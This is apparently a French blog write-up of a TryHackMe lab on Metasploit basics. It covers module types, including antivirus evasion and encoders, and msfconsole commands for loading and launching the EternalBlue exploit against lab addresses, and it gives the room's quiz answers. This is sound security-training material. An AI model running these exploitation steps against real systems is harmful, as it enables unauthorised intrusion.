Post

TryHackMe - Metasploit Introduction

Write-up de la room Metasploit Introduction - apprendre à utiliser et maîtriser le Framework Metasploit (Partie 1 sur 3)

TryHackMe - Metasploit Introduction

Informations sur la room

Room d’introduction aux composants principaux du Framework Metasploit, l’outil de pentesting le plus populaire.

Lien : Metasploit Introduction

Objectifs d’apprentissage

Cette room couvre les points suivants :

  • Comprendre le fonctionnement du Framework Metasploit
  • Maîtriser l’interface msfconsole
  • Découvrir les différents types de modules
  • Configurer et lancer des exploits

Solutions des tâches

Task 1 - Introduction to Metasploit

Les deux versions de Metasploit

Metasploit existe en deux versions distinctes :

Metasploit Pro

  • Version commerciale destinée aux entreprises
  • Dispose d’une interface graphique (GUI)
  • Fonctionnalités avancées de reporting et d’automatisation

Metasploit Framework

  • Version open source et gratuite
  • Interface en ligne de commande
  • Version sur laquelle nous allons nous concentrer

Composants principaux du Framework

Le Framework Metasploit est composé de plusieurs outils :

msfconsole

  • Interface principale en ligne de commande
  • Point d’entrée pour toutes les fonctionnalités de Metasploit

Modules

  • Modules de support : exploits, scanners, payloads, encoders, etc.
  • Organisés par catégories et systèmes d’exploitation

Tools

  • Outils autonomes facilitant la recherche de vulnérabilités
  • Exemples : msfvenom, pattern_create, pattern_offset
  • msfvenom sera abordé dans ce module
  • pattern_create et pattern_offset sont utilisés pour le développement d’exploits (hors scope de ce module)

Task 2 - Main Components of Metasploit

Démarrage de Metasploit

Pour lancer Metasploit, il suffit d’exécuter la commande suivante :

1
msfconsole

Concepts fondamentaux

Avant de commencer, il est essentiel de comprendre ces trois concepts clés :

Exploit

  • Code qui tire parti d’une vulnérabilité présente dans un système cible
  • Permet d’exploiter une faille pour obtenir un accès ou exécuter du code

Vulnerability (Vulnérabilité)

  • Faille dans la conception, la logique ou le code d’un système
  • Erreur de sécurité que nous allons pouvoir exploiter

Payload

  • Code qui s’exécutera sur le système cible après l’exploitation
  • Permet d’obtenir le résultat souhaité (shell, backdoor, exécution de commande, etc.)
  • L’exploit ouvre la porte, le payload est ce qui entre par cette porte

Un exploit exploite une vulnérabilité, mais c’est le payload qui définit ce qui se passera une fois l’exploitation réussie.

Organisation des modules Metasploit

Les modules Metasploit sont organisés dans différentes catégories :

Auxiliary

Modules d’assistance pour diverses tâches de reconnaissance et d’analyse :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

Ces modules incluent des scanners, crawlers, fuzzers et autres outils d’énumération.

Encoders

Les encoders permettent d’encoder l’exploit et le payload dans l’espoir de contourner les solutions antivirus basées sur les signatures.

1
2
3
4
5
6
7
8
9
10
11
12
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

Les solutions antivirus basées sur les signatures disposent d’une base de données de menaces connues. Les encoders tentent de modifier la signature du code malveillant pour éviter la détection. Cependant, les antivirus modernes effectuent des analyses comportementales, ce qui limite l’efficacité des encoders.

Evasion

Les modules d’évasion tentent activement de contourner les logiciels antivirus et les solutions de sécurité.

1
2
3
4
5
6
7
8
9
10
11
12
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/
evasion/
└── windows
    ├── applocker_evasion_install_util.rb
    ├── applocker_evasion_msbuild.rb
    ├── applocker_evasion_presentationhost.rb
    ├── applocker_evasion_regasm_regsvcs.rb
    ├── applocker_evasion_workflow_compiler.rb
    ├── process_herpaderping.rb
    ├── syscall_inject.rb
    ├── windows_defender_exe.rb
    └── windows_defender_js_hta.rb

Contrairement aux encoders qui modifient simplement la signature, les modules d’évasion utilisent des techniques actives de bypass des mécanismes de sécurité.

Exploits

Les exploits sont soigneusement classés par système d’exploitation :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows

Cette organisation facilite la recherche d’exploits spécifiques à un système d’exploitation cible.

NOPs

NOP signifie “No OPeration” - littéralement “aucune opération”.

1
2
3
4
5
6
7
8
9
10
11
12
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/
nops/
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86

Dans la famille de processeurs Intel x86, le NOP est représenté par l’instruction 0x90. Lorsque le processeur rencontre cette instruction, il ne fait rien pendant un cycle.

Les NOPs sont souvent utilisés comme tampon pour obtenir des tailles de payload cohérentes, notamment lors du développement d’exploits de type buffer overflow.

Payloads

Les payloads définissent ce qui sera exécuté sur le système cible après l’exploitation réussie.

1
2
3
4
5
6
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/
payloads/
├── adapters
├── singles
├── stagers
└── stages

Exemples d’objectifs de payloads :

  • Obtenir un shell interactif
  • Charger un logiciel malveillant
  • Installer une backdoor persistante
  • Exécuter une commande spécifique
  • Lancer calc.exe comme preuve de concept (PoC)

Lancer la calculatrice (calc.exe) à distance est un moyen inoffensif de prouver qu’on peut exécuter du code sur le système cible, idéal pour les rapports de pentest.

Types de payloads

Il existe trois catégories principales de payloads :

Singles

  • Payloads autonomes et complets
  • Tout le code nécessaire est envoyé en une seule fois
  • Plus faciles à détecter mais plus simples à utiliser
  • Exemple : envoyer un colis complet d’un coup

Stagers + Stages

  • Processus en deux étapes
  • Le stager (première étape) est un petit payload qui établit la connexion
  • Le stage (seconde étape) est le payload complet téléchargé ensuite
  • Plus discrets car le stager est petit
  • Exemple : d’abord envoyer une clé (stager), puis faire entrer les meubles une fois la porte ouverte (stage)

Adapters

  • Permettent d’adapter un payload à différents formats
  • Utiles pour contourner certaines restrictions
  • Exemple : changer l’emballage du colis selon le service de livraison

Astuce pour identifier les payloads staged : Si dans le nom du payload, “reverse” et “shell” sont séparés par un /, c’est un staged payload. Si les mots sont séparés par un _, c’est un single payload.

Post

Les modules post-exploitation sont utilisés après avoir obtenu un accès au système cible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 post/
post/
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows

Ces modules permettent de collecter des informations, maintenir l’accès, pivoter vers d’autres systèmes, etc.


What is the name of the code taking advantage of a flaw on the target system?

Le code qui tire parti d’une faille dans un système est appelé un exploit.

Réponse : exploit

What is the name of the code that runs on the target system to achieve the attacker’s goal?

Le code qui s’exécute sur le système cible pour atteindre les objectifs de l’attaquant est le payload.

Réponse : payload

What are self-contained payloads called?

Les payloads autonomes qui contiennent tout le code nécessaire en une seule fois sont appelés singles.

Réponse : singles

Is “windows/x64/pingback_reverse_tcp” among singles or staged payload?

Pour identifier le type de payload, regardons sa structure : windows/x64/pingback_reverse_tcp

Ce payload ne contient pas le mot “shell” et utilise des underscores (_) entre les mots plutôt que des slashes (/). De plus, “pingback_reverse_tcp” suggère une communication simple sans étape de staging.

Réponse : singles

Task 3 - Msfconsole

Utilisation de base de msfconsole

Pour sélectionner un exploit, on utilise la commande use :

1
2
3
msf6 > use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

Notez que Metasploit sélectionne automatiquement un payload par défaut lorsqu’on charge un exploit.

Exécution de commandes système

Il est possible d’exécuter des commandes système directement depuis msfconsole :

1
2
3
4
5
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

burp.json   Desktop    Instructions  Postman  Scripts  thinclient_drives
CTFBuilder  Downloads  Pictures      Rooms    snap     Tools

Visualiser les options d’un module

La commande show options affiche tous les paramètres configurables d’un exploit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/
                                             docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.161.244    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


View the full module info with the info, or info -d command.

Cette commande est essentielle pour comprendre comment configurer un exploit. Elle affiche :

  • Les options du module (paramètres de l’exploit)
  • Les options du payload
  • La cible de l’exploit

Comparaison avec un module plus simple

Tous les modules n’ont pas autant d’options. Voici un exemple de module post-exploitation :

1
2
3
4
5
6
7
8
9
10
11
12
msf6 post(windows/gather/enum_domain_users) > show options 

Module options (post/windows/gather/enum_domain_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HOST                      no        Target a specific host
   SESSION                   yes       The session to run this module on
   USER                      no        Target User for NetSessionEnum


View the full module info with the info, or info -d command.

Afficher les payloads compatibles

La commande show payloads liste tous les payloads compatibles avec l’exploit sélectionné :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   generic/custom                                               manual  No     Custom Payload
   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline
   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline
   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command
   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path
   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64
   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support

Rechercher des modules

La base de données de Metasploit est immense. La commande search permet de trouver rapidement des modules :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index, for example use 4 or use exploit/windows/smb/smb_doublepulsar_rce

Recherche avancée avec filtres

Il est possible d’affiner la recherche avec des filtres :

1
search type:auxiliary telnet

Filtres disponibles :

  • type: (auxiliary, exploit, post, etc.)
  • platform: (windows, linux, etc.)
  • name: (recherche dans le nom)
  • cve: (recherche par CVE)

Les exploits exploitent une vulnérabilité du système cible et peuvent présenter un comportement imprévisible. Un exploit de rang faible peut parfaitement fonctionner, tandis qu’un exploit de rang élevé peut échouer ou, dans le pire des cas, crasher le système cible.


How would you search for a module related to Apache?

Pour rechercher des modules liés à Apache, il suffit d’utiliser la commande search avec le mot-clé.

Réponse : search apache

Who provided the auxiliary/scanner/ssh/ssh_login module?

Pour trouver l’auteur d’un module, sélectionnons-le puis affichons ses informations :

1
2
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show info

Résultat :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
       Name: SSH Login Check Scanner
     Module: auxiliary/scanner/ssh/ssh_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  todb <todb@metasploit.com>

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS   false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  [...]

L’auteur est indiqué dans la section “Provided by”.

Réponse : todb

Task 4 - Working with modules

Configuration des paramètres

Une fois qu’un exploit est sélectionné, il faut configurer ses paramètres avec la commande set :

1
set PARAMETER_NAME VALUE

Exemple de configuration

Visualisons d’abord les options disponibles :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.44.70      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

Configurons maintenant l’adresse IP cible :

1
2
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39

Paramètres essentiels

Voici les paramètres les plus couramment utilisés :

RHOSTS (Remote Host)

  • Adresse IP du système cible
  • Peut être une seule IP ou une plage réseau (ex: 192.168.1.0/24)

RPORT (Remote Port)

  • Port sur lequel l’application vulnérable écoute
  • Exemple : 445 pour SMB, 80 pour HTTP, 22 pour SSH

PAYLOAD

  • Le payload à utiliser avec l’exploit
  • Définit ce qui sera exécuté après l’exploitation

LHOST (Local Host)

  • Adresse IP de la machine de l’attaquant
  • Utilisée pour les reverse shells

LPORT (Local Port)

  • Port sur lequel l’attaquant écoute
  • Utilisé pour recevoir les connexions reverse shell

SESSION

  • Identifiant de session pour les modules post-exploitation
  • Chaque connexion établie reçoit un ID unique

Supprimer des paramètres

Pour supprimer un paramètre configuré, utilisez unset :

1
unset PARAMETER_NAME

Pour tout réinitialiser :

1
unset all

Variables globales

Les variables globales sont persistantes entre les différents modules. Elles sont particulièrement utiles pour éviter de reconfigurer les mêmes paramètres.

Définir une variable globale :

1
setg PARAMETER_NAME VALUE

Exemple :

1
setg RHOSTS 10.10.19.23

Cette adresse IP sera automatiquement utilisée dans tous les modules jusqu’à ce qu’elle soit désactivée.

Supprimer une variable globale :

1
unsetg PARAMETER_NAME

Les variables globales sont un gain de temps considérable lors du pentest. Configurez une fois les paramètres communs (LHOST, RHOSTS) et ils seront disponibles partout !

Lancer l’exploitation

Une fois tout configuré, lancez l’exploit avec :

1
exploit

Ou alternativement :

1
run

Options avancées d’exécution

Exécution en arrière-plan :

1
exploit -z

Cette option lance l’exploit en arrière-plan, utile pour les exploits qui prennent du temps.

Lorsqu’un exploit s’exécute en arrière-plan, vous pouvez continuer à utiliser msfconsole pour d’autres tâches. Metasploit vous notifiera quand l’exploitation réussit ou échoue.

Gestion des sessions

Une fois l’exploitation réussie, vous obtenez une session Meterpreter ou un shell.

Mettre une session en arrière-plan (depuis Meterpreter) :

1
background

Cette commande met la session en pause et vous ramène à msfconsole.

Revenir à une session (depuis msfconsole) :

1
sessions -i <session_id>

Lister toutes les sessions actives :

1
sessions -l

Quitter un module (depuis msfconsole) :

1
back

Cette commande vous ramène au prompt principal de msfconsole sans quitter le programme.


How would you set the LPORT value to 6666?

Pour définir le port local à 6666, utilisez la commande set avec le paramètre LPORT.

Réponse : set LPORT 6666

How would you set the global value for RHOSTS to 10.10.19.23?

Pour définir une variable globale qui sera disponible dans tous les modules, utilisez setg.

Réponse : setg RHOSTS 10.10.19.23

What command would you use to clear a set payload?

Pour supprimer un payload configuré, utilisez la commande unset.

Réponse : unset PAYLOAD

What command do you use to proceed with the exploitation phase?

Pour lancer l’exploitation après avoir configuré tous les paramètres, utilisez la commande exploit.

Réponse : exploit

Task 5 - Summary

Cette première partie nous a permis de découvrir les bases du Framework Metasploit :

  • L’architecture et les différents types de modules
  • La navigation dans msfconsole
  • La configuration des exploits
  • La gestion des sessions

Dans les prochaines parties, nous approfondirons l’utilisation de Meterpreter et les techniques avancées d’exploitation.


Room complétée

This post is licensed under CC BY 4.0 by the author.